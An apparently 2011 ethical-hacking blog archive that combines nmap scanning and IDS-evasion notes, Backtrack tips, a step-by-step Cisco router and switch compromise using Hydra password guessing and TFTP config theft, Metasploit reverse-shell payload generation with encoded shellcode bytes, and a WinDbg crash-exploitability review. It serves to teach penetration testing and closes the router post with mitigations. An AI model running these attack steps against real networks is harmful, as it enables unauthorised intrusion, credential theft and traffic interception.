Monday, 14 February 2011

Fyodor and nmap videos - annotated

Fyodor is fantastic speaker to have at any hacker conference, as he has many years of experience in network scanning. One of the true greats in the Pentesting and Ethical Hacking world.

Fyodor is most famous for writing the network scanning tool NMAP, but now I know he has a hilariously geeky sense of humor as well.

Here are the three best videos I could find of his presentations at hacker conferences (which I feel are worth watching a couple of times).

I have pulled out the more advanced nmap command line options (ones which I found interesting) which are detailed below each video.

(My notes are pretty raw, just for me more than anything, but I thought I would share them. Watch the videos before you read the notes)

Scanning the internet at Defcon

This is from 3 years ago at Defcon, where Fyodor talks about some huge internet scans that he undertook to help optimise nmap.

Scanning the internet

An nmap line to produce 2.5 million random IP addresses

nmap -iR 25200000 -sL -n | grep "not scanned" | awk '{print $2}' | sort -n | uniq >! tp; head -25000000 >! 25M-IPs; rm tp

A couple of different ping scan options for host discovery

-sP = Run a ping scan
-PS = Syn probe, stateful firewalls

-PA = Ack probe, stateless firewalls

Other useful pingscan options


Comparing host discovery

Generate host list

nmap -n -sL -iR 50000 -oN - | grep "not scanned" | awk '{print $2}' | sort -n > 50k_ips

Basic host discovery on the target list

nmap -sP -T4 -iL 50k_ips

Advanced host discovery on the target list

nmap -sP -PE -PP -PS21,22,23,25,80,113,31339 -PA80,113,443,10042 --source-port 53  -T4 -iL 50k_ips

Fast scan


Version detection (extra probes = more reliable UDP scan)

-sUV -F -T4

Version intensity (only scan the right versions for each port)

--version intensity 0

Top ports, and port ratio


--top-ports 3674 gets almost 100% (TCP)
--top-ports 1017 gets almost 100% (UDP)

Packet control for maximum and minimum rates

nmap -min-rate 500

Fully optimized scan

nmap -S [srcip] -d --max-scan-delay 10 -oA logs/tcp-allports-%T-%D -iL tcp-allports-1M-ips --max-retries 1 --randomize-hosts -p- -PS21,22,23,25,53,80,443 -T4 --min-hostgroup 256 --min-rate 175 -max-rate 300

Checking for DNS bugs

nmap -v -PN -sU -p53 -T4 --script=dns-test-open-recursion,dns-safe-recursion-port,dns-safe-recursion-txid blah

Also he talks briefly about the ndiff and ncat tools, which are worth checking out.

Advanced network reconnaissance at ShmooCon

Here is one from a good while back at ShmooCon, where Fyodor talks about IDS and Firewall evasion.

Bypassing firewalls

Different results from different scans:


Avoiding IDS

Avoiding basic Snort nmap rules

--datalength 64
--scanflags fin,urg

Avoiding thresholds

--max_hostgroup 1

Simple threshold avoidance script

foreach target (a, b, c)
foreach? nmap --scan_delay 1075 --max_retries 0 -max_hostgroup 1 -P0 -p21,22,23,25,53 $ target
foreach? usleep 1075000
foreach? end

Sliding window avoidance script

foreach target (a, b, c)
foreach? nmap --min_parallelism 15 --max_retries 0 -max_hostgroup 1 -P0 -p21,22,23,25,53 $ target
foreach? usleep 23000000
foreach? end

Decoys -D

Finding webservers

Scans could be more effective if you tell nmap about network timings

Using hping to test the delay to a mailserver

hping --syn -p 25 -c 5 hostname

A scan based on those timings.

nmap -T4 --max_rtt_timeout 200ms --initial_rtt_timeout 150ms --min_hostgroup 512 -P0 -p80 -oG output hostnames

Use a large hostgroup if only few ports are being scanned in a large network

--max_retries 0

Runtime interaction keys:
p, P
v, V
d, D

Using nmap NSE scripts (and scanning Microsoft) at Blackhat 2010

Includes some great detail on how to write nmap scripts, and details of some scans he did of the Microsoft networks (don't try this at home).

A useful script for NFS


Microsoft version detection scans

Host detection

nmap -T4 --top-ports 50 -sV -O --osscan-limit --osscan-guess --min-hostgroup 128 --host timeout 10m -oA blah -il blah

Command to sort results

grep " open " ms-vscan.nmap | sed -r 's/ +/ /g' | sort | uniq -c | sort -rn | less

SMB enumeration of hosts (non-invasive)

nmap -v -O -sV -T4 --osscan-guess -oA ms-smbscan --script=smb-enum-domains,smb-enum-processes,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-os-discovery,smb-security-mode,smb-system-info

Sunday, 13 February 2011

Answers for some simple questions on Backtrack 4

I looked through the Google search results that are hitting my blog over the past month or so, and it seems that there are some simple recurring searches that I feel I can answer here without much effort.

I will paraphrase and answer the simple searches on Backtrack 4 here.
(Maybe I will write some larger articles on some of the bigger subjects later.)

Where are the password dictionaries in Backtrack 4?

There are a few million, right out of the box. Here are some to start with.


How do you update metasploit?

Just type "msfupdate"

How do you fix a broken metasploit?

This seems to be a very common problem. I already did a post on this here:

How do you install a decent FTP server on Backtrack?

Install vsftpd using apt-get

apt-get -y install vsftpd

(Type "man vsftpd" for more info)

How do you revert iptables?

To list the iptables rules

iptables -L

To clear the iptables rules

iptables --flush

To save the iptables rules

iptables-save > blah.txt

To restore the iptables rules

iptables-restore blah.txt

Where has Wireshark gone in Backtrack 4 R2?

Indeed, a good question. I asked this very same question to one of the developers, and got a short answer, but hey...

It used to be in the "Internet" folder, but it disappeared from there. However, you can run it from the command-line by typing "wireshark".

Wireshark extra

Now that you've got your feet wet with Wireshark from the command line, you may want to try some cool command line parameters, like this for example:

wireshark -i eth0 -f "host and tcp port 80" -k

This starts Wireshark, sets up a filter, specifies the capture interface, and starts a capture all in one go. Which I find quicker and more repeatable than running the same from the UI.

Other stuff

If any of this helps you, please give me some feedback below. If there are other simple things you want know, you could also leave question. I check and respond to comments.

Friday, 11 February 2011

My blog visitor stats and demographics

Now that I have been actively blogging for a while, I thought I would take a step back and look at some statistics of users browsing my pages.

Most popular posts and searches

My most popular posts so far are on; using Backtrack, Snort, Metasploit, iptables, password-cracking, and buffer-overflows.

I will probably be writing more on each of these subjects over the coming months.

Judging by the search referrals, it seems that many of you are searching for basic tips on Backtrack 4, so I will try to write some short beginner-level articles for that, as well as focusing on some deeper skills and concepts.

Where my visitors are from

The majority visitors to my blog, are from the US and UK.

Here's a big hello to all those of you who have read my blog, from the United States, United Kingdom, India, Germany, Canada, France, Spain, Brazil, Netherlands, Russia, and hundreds of other countries.

How users got to my site

Most traffic to this blog comes from organic Google searches. Some is direct traffic, but very little traffic comes from anywhere else.

Google is the powerhouse that drives traffic in the modern internet.

What browser and OS my visitors run

I was surprised and pleased to see that many of you have chosen browsers other than Internet Explorer. A massive 82% of you don't use it, despite the majority of you using Windows as your desktop.

Despite Microsoft's best efforts, IE is still seen as a security weakness.

It does look like most of you are still heavily dependent on Windows, but then Microsoft has certainly made some big security improvements in Windows 7 (and the corporate desktop/laptop is still usually Windows).

Please provide feedback

If you have any feedback on what you would like to see me write an article about (specifically on Technology, Ethical Hacking and IT Security) please provide some feedback below.

Expanding a network compromise via switches and routers using Backtrack

If you look in the right places, there are plenty of articles on the web describing how to expand an attack by pivoting from one vulnerable Windows or Linux system to another.

This is not the only way that attackers can traverse the network, silently expanding their domain of control. It is also possible to use other devices to expand control of the network, from switches, to PBXs, to multifunction printers.

Recently I have been studying CTP from Offensive Security, which mainly covers advanced Windows attacks, but which also has one module on compromising a Cisco border-router. The techniques of this hack involve using spoofed SNMP packets, to change the configuration of a border-router from the outside, and set-up a GRE tunnel to implement a full-blown MITM attack across the internet (This is a pretty devastating attack. For more detail you will have to sign up for that course I'm afraid ;o)

This attack got me thinking, and researching routers and switches more as an attack vector on the LAN, so here I briefly look at some more fundamental attacks using Cisco switches, showing a small portion of what is possible.

Take note of this information, and use it wisely to understand an attackers mindset, and to defend your network more effectively.

Finding switches

Switches and routers can be relatively easy to find. Starting with the default gateway for example (this is usually the closest router). Also, running a simple traceroute command, will give us a chain of routers through which network traffic will traverse.

Once we have the target IPs, port scanning often works well, as the following namp example shows:

nmap -sTV

Starting Nmap 5.35DC1 ( ) at 2011-02-10 22:59 GMT
Nmap scan report for
Host is up (0.14s latency).
Not shown: 998 closed ports
23/tcp open  telnet  Cisco router
80/tcp open  http    Cisco IOS http config
MAC Address: CC:00:07:28:15:03 (Unknown)
Service Info: OS: IOS; Device: router

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 12.31 seconds

So, we can see this system is a Cisco router, and I have highlighted in red, that this router has both HTTP and Telnet enabled.

This is historically the norm, but in secure environments organizations should be looking to deploy better solutions such as HTTPS and SSH for router access and configuration.

Attacking the first router

Once we have found a router to attack, in this example we will use THC Hydra to dictionary-attack this router to find the password.

hydra cisco -s 23 -P knownpass.txt -t 1 -w 2
Hydra v5.9 (c) 2010 by van Hauser / THC - use allowed only for legal purposes.
Hydra ( starting at 2011-02-10 22:02:53
[DATA] 1 tasks, 1 servers, 46 login tries (l:1/p:46), ~46 tries per task
[DATA] attacking service cisco on port 23
Process 7480: Can not connect [timeout], process exiting
[23][cisco] host:   login:    password: secretpass
[STATUS] attack finished for (waiting for childs to finish)
Hydra ( finished at 2011-02-10 22:03:04

This only took a few seconds, and the login password is found, so using that initial information, we can now start a further attack, to find the "enable" password.

hydra cisco-enable -s 23 -l secretpass -P knownpass.txt -t 1 -w 2
Warning: You did not supply the initial support to the Cisco via -l, assuming direct console access
Hydra v5.9 (c) 2010 by van Hauser / THC - use allowed only for legal purposes.
Hydra ( starting at 2011-02-10 22:03:40
[DATA] 1 tasks, 1 servers, 46 login tries (l:1/p:46), ~46 tries per task
[DATA] attacking service cisco-enable on port 23
[23][cisco-enable] host:   login: secretpass   password: bigsecretpass
[STATUS] attack finished for (waiting for childs to finish)
Hydra ( finished at 2011-02-10 22:03:50

Note how Cisco devices don't need a user/password combination for Telnet, just a password. This can make dictionary attacks much easier and quicker to perform, just using a single dictionary file, rather than combinations.

Now that we know both the passwords for this device, we can login and continue our attack.

Pwning the configuration

Next we will setup an TFTP server on our attacking Backtrack system (which we can use for file transfers)

atftpd --daemon --port 69 /tmp/

netstat -anup | grep ":69"
udp        0      0*      7487/atftpd

Then, from the router, lets take a copy of the running configuration to our attacking TFTP server

RouterA#copy running-config tftp://
Address or name of remote host []?
Destination filename [stolen.conf]?
1062 bytes copied in 7.352 secs (144 bytes/sec)

Now we own the configuration

Switch and router configurations like this can contain lots of juicy information about a network, such as IP addresses and subnets used, and details of other key infrastructure.

We could now edit the switch configuration, at our leisure on our Backtrack system, and upload the edited version back up to the switch

copy tftp:// running-config
Destination filename [running-config]?
Accessing tftp://
Loading edited.conf from (via FastEthernet0/0): !
[OK - 1124 bytes]

This can be used for devastating attacks.

Know your neighbors

Let's use the Cisco discovery protocol to find more switches that are connected to this initially compromised switch. We'll use the CDP protocol information that the switch already has, write that info to a file, and offload it to our TFTP server for more analysis.

RouterA#show cdp neighbors detail | redirect flash:/cdp.txt

Directory of flash:/

    6  -rw-        5759                      cdp.txt

7864316 bytes total (7855544 bytes free)

RouterA#copy cdp.txt tftp://
Address or name of remote host []?
Destination filename [cdp.txt]?
5759 bytes copied in 4.264 secs (1351 bytes/sec)
Connection closed by foreign host.


Below is an example of the kind of information you can get back from CDP, which includes IP address and IOS version information, very handy for network administrators (and attackers).

Device ID: RouterA
Entry address(es):
  IP address:
Platform: cisco 3640,  Capabilities: Router Switch
Interface: FastEthernet1/0,  Port ID (outgoing port): FastEthernet0/0
Holdtime : 159 sec

Version :
Cisco Internetwork Operating System Software
IOS (tm) 3600 Software (C3640-IK9O3S-M), Version 12.3(22), RELEASE SOFTWARE (fc2)
Technical Support:
Copyright (c) 1986-2007 by cisco Systems, Inc.
Compiled Wed 24-Jan-07 18:02 by ccai

advertisement version: 2
VTP Management Domain: ''
Duplex: full


Reviewing the CDP data

Back on our Backtrack system, we can grep through the CDP data we took previously, to find other systems that our compromised switch knows about.

cat /tmp/cdp.txt | grep -A 1 "IP address"
  IP address:
Platform: cisco 3640,  Capabilities: Router Switch
  IP address:
Platform: cisco 3640,  Capabilities: Router Switch
  IP address:
Platform: cisco 3640,  Capabilities: Router Switch
  IP address:
Platform: cisco 3640,  Capabilities: Router Switch
  IP address:
Platform: cisco 3640,  Capabilities: Router Switch
  IP address:
Platform: cisco 3640,  Capabilities: Router Switch
  IP address:
Platform: cisco 3640,  Capabilities: Router Switch
  IP address:
Platform: cisco 3640,  Capabilities: Router Switch
  IP address:
Platform: cisco 3640,  Capabilities: Router Switch
  IP address:
Platform: cisco 3640,  Capabilities: Router Switch

So we will distill the information to find switches that are on the 192 network, and start attacking those first:

cat /tmp/cdp.txt | grep "IP address" | cut -d" " -f5 | grep 192 | sort -u

We already knew about 202, but now we know about 2 other switches, time to expand the attack...

More password attacks

So, we expand our attack to the next level, again using a dictionary-attack to guess the passwords.

hydra -M routers.txt cisco -s 23 -P knownpass.txt -t 1 -w 2
Hydra v5.9 (c) 2010 by van Hauser / THC - use allowed only for legal purposes.
Hydra ( starting at 2011-02-10 21:51:34
[DATA] 1 tasks, 3 servers, 46 login tries (l:1/p:46), ~138 tries per task
[DATA] attacking service cisco on port 23
[23][cisco] host:   login:    password: secretpass
[STATUS] attack finished for (waiting for childs to finish)
[23][cisco] host:   login:    password: secretpass
[STATUS] attack finished for (waiting for childs to finish)
Hydra ( finished at 2011-02-10 21:52:04

Cracking the enable password, as before...

hydra -M routers.txt cisco-enable -s 23 -l secretpass -P knownpass.txt -t 1 -w 2
Warning: You did not supply the initial support to the Cisco via -l, assuming direct console access
Hydra v5.9 (c) 2010 by van Hauser / THC - use allowed only for legal purposes.
Hydra ( starting at 2011-02-10 21:54:08
[DATA] 1 tasks, 3 servers, 46 login tries (l:1/p:46), ~138 tries per task
[DATA] attacking service cisco-enable on port 23
[23][cisco-enable] host:   login: secretpass   password: bigsecretpass
[STATUS] attack finished for (waiting for childs to finish)
[23][cisco-enable] host:   login: secretpass   password: bigsecretpass
[STATUS] attack finished for (waiting for childs to finish)
Hydra ( finished at 2011-02-10 21:54:41

So, we can see that these switches have the same passwords. It could be that ALL the swtiches on this network have the same passwords. This could make life easier for the administrator (and for a malicious intruder).

This process can be repeated until all the switch and router infrastructure in the network is discovered and compromised.

What can an attacker do with switches that he controls?

Well, a hell of a lot. Once an attacker controls the configuration and access to the router and switch infrastructure, he is only limited by his imagination.

Certainly traffic can be redirected, substituted, and spoofed. Closed ports can be opened and vice versa. New networks can be created and tunneling can be performed. Passwords can be changed, devices can be reconfigured or wiped. T
raffic can be sniffed, and any systems on the network can be attacked.

Switches are as fundamental as DNS. If you own the switches and routers of a network, you pretty much own the network.

Network sniffing

If an attacker controls the configuration of the switch, they could reconfigure the switch to turn their port into a span port. Here Cisco describe how to create a span port for traffic sniffing.

Span ports are often used in network defense, for setting up IDS systems (such as Snort for example) but they can also be used maliciously.

If a malicious attacker sets up a span port, this could direct a copy of all traffic on the switch to the attackers network port, effectively turning the switch into a hub (from their perspective) and so enabling them to sniff all traffic going through the switch. This would enable capturing of sensitive data, such as passwords and password hashes, which could then be used to enumerate and compromise other systems on the network.

Clever stuff with switch-scripting

A switch is basically a purpose-built computer for packet routing, but they can also be requisitioned to do other jobs. Using TCL scripts, switches and routers themselves can be turned into a more functional attack platform.

Here are some powerful ideas from Packetstorm, showing how switches could be used for various purposes, for example as port-scanners, or denial of service tools.

Backdoors can also be introduced and here is an example using TCL from Andy Davis:


So, as you can see, we have barely scratched the surface here, as to what is possible once core network-infrastructure has been compromised. To mitigate some of these threats
  • Protect the network from client-side attacks, which are increasingly the source of initial compromises
  • Protect your switches with strong passwords/keys and secure protocols
  • Limit access to switch configuration, with access control to a specific group of administrative systems
  • Enable remote logging and review the logs periodically
  • Use security reviews and testing to evaluate and improve your security posture

Sunday, 6 February 2011

Using Backtrack to spot and fix bad characters in custom buffer-overflow development

When testing or developing a custom buffer-overflow as a proof of concept, it is often useful to use shellcode to get a command shell.

However, as shellcode payloads are generally binary in nature, they can get corrupted in transit. This is because either the transmission protocol, or the end application can be sensitive to "bad characters" which can break your shellcode in various ways.

 (bad characters ;o)

Essentially, many protocols are text based, and non-text characters in the data-stream can either break the transmission (by having a special meaning) or get filtered out.

Shellcode corruption problems

Corruption problems can include, payload truncation, character substitution, missing characters, extra characters, and any combination of the above. Or, even failure of the buffer-overflow condition to work at all, once the shellcode has been introduced to the exploit. It all depends on the shellcode payload, the protocol, application filtering, and the application itself.

So, how can you spot bad characters, and fix the problem, without going through every character in the payload and comparing it to what you received on the other end?

Having done lots of troubleshooting of this situation recently, I thought I would share a solution I found for comparing shellcode, before and after transmission. The payload examples I use are from Metasploit, and I will be looking at the results from Ollydbg, but the concepts are transferable.

Shellcode generation

Metasploit's msfpayload is a great tool for generating payloads.

msfpayload will generate the hexcodes of a defined payload, ready for an exploit-developer to cut and paste directly into their proof of concept exploit

Payloads are generally of the form:

/pentest/exploits/framework3/msfpayload windows/shell_reverse_tcp LHOST= LPORT=443 C
 * windows/shell_reverse_tcp - 314 bytes
 * AutoRunScript=, LHOST=, EXITFUNC=process,
 * InitialAutoRunScript=, LPORT=443, ReverseConnectRetries=5
unsigned char buf[] =

Note: that the number of characters per line is variable, and can be around 14 or 15 (not sure why they did this, fixed at 16 would have made more sense to me)

As you may also notice above, there are some \x00 characters in that example, which are often a source of problems, as this character is used as a string terminator in many protocols and applications.

Eliminating bad characters

Badchars can mostly be eliminated by encoding the payload.

In the following example, I output a payload to a file in a raw format, and then encode that file, producing a payload that does not contain the badchar "\x00".

/pentest/exploits/framework3/msfpayload windows/shell_reverse_tcp LHOST= LPORT=443 R > reverseshell
/pentest/exploits/framework3/msfencode -i reverseshell -b "\x00"

[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)

buf =
"\xbb\xf6\xee\x65\x0a\xda\xce\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x4f\x31\x5a\x14\x83\xc2\x04\x03\x5a\x10\x14\x1b\x99" +

(The above two-stage "saving to a file" method is quite useful, as you can quickly produce multiple copies of the same payload in various encoding formats, for testing purposes)

When the encoded payload runs in an exploit, it will unpack itself in memory, recreating the original binary payload, and then run, giving you the command shell.

So, how do you know which characters are badchars?

For most textbased protocols, "\x00", "\x0a" and "\x0d" are a safe bet to be badchars, but there may be many others that will break your shellcode. How can you tell what these are?

During exploit development, you can usually look at the shellcode in memory, when the buffer overflow occurs, perhaps by setting a breakpoint in a debugger, and then compare the shellcode in memory, to what you sent.

This can show you if the shellcode is truncated, or has missing or substituted characters.

Comparison difficulties

However, if you are using Metasploit and OllyDbg,for example, you will end up with a couple of very different formats:

This is the format of the shellcode in your exploit, from Metasploit:

"\xda\xd1\xbb\xfa\x3a\xcd\x45\xd9\x74\x24\xf4\x5f\x2b\xc9" +
"\xb1\x4f\x83\xef\xfc\x31\x5f\x15\x03\x5f\x15\x18\xcf\x31" +
"\xad\x55\x30\xca\x2e\x05\xb8\x2f\x1f\x17\xde\x24\x32\xa7" +
"\x94\x69\xbf\x4c\xf8\x99\x34\x20\xd5\xae\xfd\x8e\x03\x80" +
"\xfe\x3f\x8c\x4e\x3c\x5e\x70\x8d\x11\x80\x49\x5e\x64\xc1" +
"\x8e\x83\x87\x93\x47\xcf\x3a\x03\xe3\x8d\x86\x22\x23\x9a" +
"\xb7\x5c\x46\x5d\x43\xd6\x49\x8e\xfc\x6d\x01\x36\x76\x29" +
"\xb2\x47\x5b\x2a\x8e\x0e\xd0\x98\x64\x91\x30\xd1\x85\xa3" +

This is a cut'n'paste, of the same thing, out of the dump area in OllyDbg:

00C8FDB8  DA D1 BB FA 3A CD 45 D9 74 24 F4 5F 2B C9 B1 4F  ÚÑ»ú:ÍEÙt$ô_+ɱO
00C8FDC8  83 EF FC 31 5F 15 03 5F 15 18 CF 31 AD 55 30 CA  ?ïü1_  _  Ï1­U0Ê
00C8FDD8  2E 05 B8 5C 1F 17 DE 24 32 A7 94 69 BF 4C F8 99  . ¸\  Þ$2§?i¿Lø?
00C8FDE8  34 20 D5 AE FD 8E 03 80 FE 3F 8C 4E 3C 5E 70 8D  4 Õ®ý? ?þ??N<^p
00C8FDF8  11 80 49 5E 64 C1 8E 83 87 93 47 CF 3A 03 E3 8D   ?I^dÁ????GÏ: ã
00C8FE08  86 22 23 9A B7 5C 46 5D 43 D6 49 8E FC 6D 01 36  ?"#?·\F]CÖI?üm 6
00C8FE18  76 29 B2 47 5B 2A 8E 0E D0 98 64 91 30 D1 85 A3  v)²G[*? Ð?d?0Ñ?£
00C8FE28  7C BD BB 0B 71 BC FC AC....

You may think, "Ok, I will just look through the payload byte-by-byte, and see what the differences are".

Unless you are a robot, or a savant, you can hardly scan through these quickly and spot the difference.

And whilst you may try the manual process once or twice, it is just not scalable for payloads of 350 to 750 bytes. This is espcially true if you need to do it multiple times, which is often the case in exploit development.

There are several solutions to this. Here is mine...

Use cut, tr, and diff to compare the shellcode

So, what we are going to do here, is put the before and after shellcode in separate files, get them in the same format, and then use the diff command to compare them and see where the differences are.

Diff compares lines, so ideally we want to turn the payloads into files with one character per line, in the same format, so that we can do a...

diff file1.txt file2.txt

... and it will show us the characters which are different.

Here is the commandline kung-fu that I came up with to do this task (you may need to tweak this for your own environment)


First we have two files; presend.txt and postsent.txt containing the before and after shellcode.

presend.txt is in a Metasploit format. postsend.txt is in a OllyDbg format.

cat presend.txt | tr -d "x",'"',"+","\n"," " | tr "\\" "\n" > preoneperline.txt

cat postsend.txt | cut -d" " -f2-18 | tr -d "\n" | tr "A-F" "a-f" | tr "  " "\n" > postoneperline.txt

diff postoneperline.txt preoneperline.txt

This should then point you to the differences between the payloads.

Explaination of the Kung-fu

So, for the Metasploit style format; we remove, the x,",+ and newline characters, and replace every \ with a newline.

For the Debugger format; we chop out the middle section, remove the newlines, make all the hex lowercase, and convert spaces to newlines.

The diff command shows the lines which are different between the files produced. As we now have one character on each line, this will be is a character by character comparison and analysis.

The remedy

Once you have found all the badchars, you can then remove them. For example:

/pentest/exploits/framework3/msfencode -i reverseshell -b "\x00\x0a\x0d\x2f"

Encoding as (almost all) text

The following example is a catch-all, that will work around most situations, but it will make the payload rather large (around 700 bytes for a 350 byte payload)

/pentest/exploits/framework3/msfencode -i reverseshell -e x86/alpha_mixed
[*] x86/alpha_mixed succeeded with size 690 (iteration=1)

buf =
"\x89\xe7\xda\xd6\xd9\x77\xf4\x5b\x53\x59\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" +
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" +
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" +
"\x42\x75\x4a\x49\x4b\x4c\x49\x78\x4c\x49\x47\x70\x47\x70" +
"\x43\x30\x45\x30\x4c\x49\x4d\x35\x54\x71\x4b\x62\x50\x64" +
"\x4e\x6b\x52\x72\x54\x70\x4c\x4b\x56\x32\x54\x4c\x4c\x4b" +
"\x50\x52\x47\x64\x4c\x4b\x50\x72\x54\x68\x56\x6f\x4d\x67" +

There is one issue here, and that is the few characters that are not alpha numeric at the begining "\xe7\xda\xd6\xd9" and "\xf4" which are rather unfortunate for this payload.

There are further ways to avoid these, but a more complex issue, perhaps for another time...

Assessing buffer-overflows with the WinDbg !exploitable extension

In this post I describe how to use the WinDbg extension !exploitable (pronounced "bang exploitable") to help assess the criticality of crashes and buffer-overflows in Windows applications.

!exploitable is a Microsoft open source project, to help improve application security by providing crash-analysis, estimating the likelihood of whether a crash could be maliciously exploited.

Buffer-overflow crashes are often found using automated fuzzing tools. When fuzzing an application, sometimes many variants of crashes can be found, especially in poorly-written or old code.

!exploitable can help show which particular crashes are most serious in terms of possible exploitation.

Here I test !exploitable on a couple of buffer overflow conditions, which are known to be exploitable, and show the results.

Why is this important?

Clearly it is important for software vendors to quickly assess crash-conditions, and address critical issues in a timely manner.

I feel that is it is also very important that a crash-assessment tool like this is accurate.

!exploitable needs to have low false-negative and false-positive rates so that software vendors can use it to accurately prioritize and triage issues (and fix the most serious first).

If there are false-positives; this could tell the software company that the crash is more serious than it really is, and bump the bug up the priority list when it may be less important than other problems.

False-negatives are possibly more serious; as if the crash is not likely to occur in normal operation, a software vendor may ignore the issue, or not get around to fixing that particular crash for some time. Meanwhile malicious 0-day exploitation of the bug may be possible, which could go undetected in the wild for a long period.

Downloading the tools

Both WinDbg and !exploitable are free and available for download.

Various versions of WinDbg are available here:
(For these tests I chose to use the - March 27, 2009 version as it was small and easy to install)

!exploitable is available for download here:


First install WinDbg by double-clicking on the *.msi file, and following the prompts.

Register WinDbg as a “post-mortem” debugger by using

C:\Program Files\Debugging Tools for Windows (x86)\windbg -I

You can also disable the crash popups, and set auto-debugging by setting the following registry key to "0":

HKLM\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\Auto

Installing the !exploitable extension is also a manual process.

Unpack the zip, and copy the files from "exploitable\Binaries\x86" to the target directory (C:\Program Files\Debugging Tools for Windows\winext (x86)\ by default)

Testing crashes for exploitability

WinDbg is not a pretty application, but it is very useful and extensible.

First start the WinDbg application and attach to the process you are debugging.

Then fire-off the crash conditions, get a crash, and WinDbg will show the initial crash details:

(10c4.10cc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=004392f8 ecx=0012ff72 edx=00000030 esi=00000037 edi=00443254
eip=0012fa96 esp=0012fa98 ebp=41414141 iopl=0 nv up ei pl nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010203
0012fa96 867ce919 xchg bh,byte ptr [ecx+ebp*8+19h] ds:0023:0a1d0993=??

You can see here that some of the CPU registers have been overwritten during this crash, for example with 41414141 ("AAAA") which was part of the payload of the proof of concept exploit.

To assess the exploitability of this crash, we can then load the !exploitable module and run the test to see if this crash is likely to be exploitable.

0:000> !load winext\msec.dll
0:000> !exploitable
*** WARNING: Unable to verify checksum for tftpd.exe
*** ERROR: Symbol file could not be found. Defaulted to export symbols for tftpd.exe -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\USER32.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - Exception generated by code running in the Stack starting at Unknown Symbol @ 0x000000000012fa96 called from tftpd!_GetExceptDLLinfo+0x0000000000005eba (Hash=0x610a1635.0x584d0402)

Code execution from the stack is considered exploitable

So, that seems fair enough (I have highlighted the important parts in red).
This was a serious bug that needed to be addressed.

I know that this crash is exploitable. Exploit code is publicly available which provided unauthenticated remote code execution to an attacker.

Another example

Here is another !exploitable example. First the crash:

(1214.1428): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000043 ebx=1034f788 ecx=1034e844 edx=10360000 esi=1034e604 edi=1034e844
eip=77bd32a1 esp=1034e5a4 ebp=1034e5b0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\msvcrt.dll -
77bd32a1 8802 mov byte ptr [edx],al ds:0023:10360000=4d

Then the analysis:

0:017> !load winext\msec.dll
0:017> !exploitable
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\HP OpenView\bin\ov.dll -
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\HP OpenView\bin\ovwparser.dll -
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - User Mode Write AV starting at msvcrt!wscanf+0x000000000000006c (Hash=0x0b367a2f.0x131d5a01)

User mode write access violations that are not near NULL are exploitable.

Again, this is pretty clear in the analysis that this was a high priority bug that needed to be fixed as soon as was practical

This was a much more complex bug to exploit, but again, unauthenticated remote code execution was possible, so a very serious issue which needed to be addressed.

My thoughts

I know that both of these crashes were exploitable, having tested both of them thoroughly in lab environments (and used them to obtain remote code execution).

My initial tests of this tool were useful. I would say that this could be a good tool for software companies, ethical hackers and penetration testers alike.

However, this was a very quick look at the !exploitable tool, and more investigation of this tool would be useful to assess the false-positive rate, and look for any false-negatives, i.e. are there any known buffer overflow exploits that this crash-analysis tool fails to identify as exploitable? and if so why?

Interestingly, it is also possible to run this tool in a batch mode for analyzing lots of crash-dumps at once. More detail in the following link:

Wednesday, 2 February 2011

Web-based malware and clientside java tampering - interesting presentations

I watched a couple of presentations recently that I found very interesting, so I thought I would share them with you.

How to avoid getting a cap popped in your app

This is an excellent and very comprehensive presentation on drive-by downloads and modern web-based multi-layer malware. I highly recommend to watch this one if you are interested in web security.

The speaker is Dr. Neil Daswani at the 2010 AppSec conference.

Even if you are an experienced in the IT Security field, you can definitely learn something here. Great summaries and interesting concepts all the way through.

The presentation covers
  • The complex layered architecture of web-based attacks
  • Websites as distribution vehicles
  • Risks from embedded third-party resources.
  • Interesting implications for impact of the rich shared functionality used in websites of the modern internet.
I think there will be a significant rise in these types of web-based attacks over the next three years. The level of complexity and modularity in some of these attacks are extreme, and it will be increasingly difficult for defenders to analyze and mitigate these threats.

How to hack client-side Java applets

This is an interesting insight from an experienced penetration tester; both into meeting the challenging demands of customer requirements and the promises of the sales team, and also an interesting way of "disassembling" and debugging a Java applet, for parameter tampering attacks.

This is a reminder, that irrespective of how obscure, and "protected" a client-side application is, you cannot trust the data that comes from the client.

Everything on the client-side can be compromised, even data from a Java virtual machine submitted with a custom-built protocol.

Tuesday, 1 February 2011

Using cut'n'shut shellcode to expand available exploit code space

Recently I have been studying and researching buffer overflows with custom-built shellcode.

I've tried out various advanced techniques, such as partial EIP overwrites (to avoid Windows ASLR), egghunters, encoding/decoding, island hopping, SEH overwrites, and AV-avoidance.

I thought I would try something inventive yesterday - I call it Cut'n'shut shellcode ;o)

As a test example, I used a old exploit AT-TFTP-D (long-since patched) that only gave 222 bytes of code execution on a Windows Server. 222 bytes is not generally enough space for arbitrary code execution such as an encoded reverse-shell back to the attacker.

So I thought to myself, "How can I make the available space bigger just using the TFTP server?", and came up with an interesting solution.

As usual, I recommend that you should only test these techniques on systems where you have express permission.

More detail

To cut a long story short, I found that there was some filtering in the application, which meant that packets above a certain size would be ignored and would not crash the TFTP server.

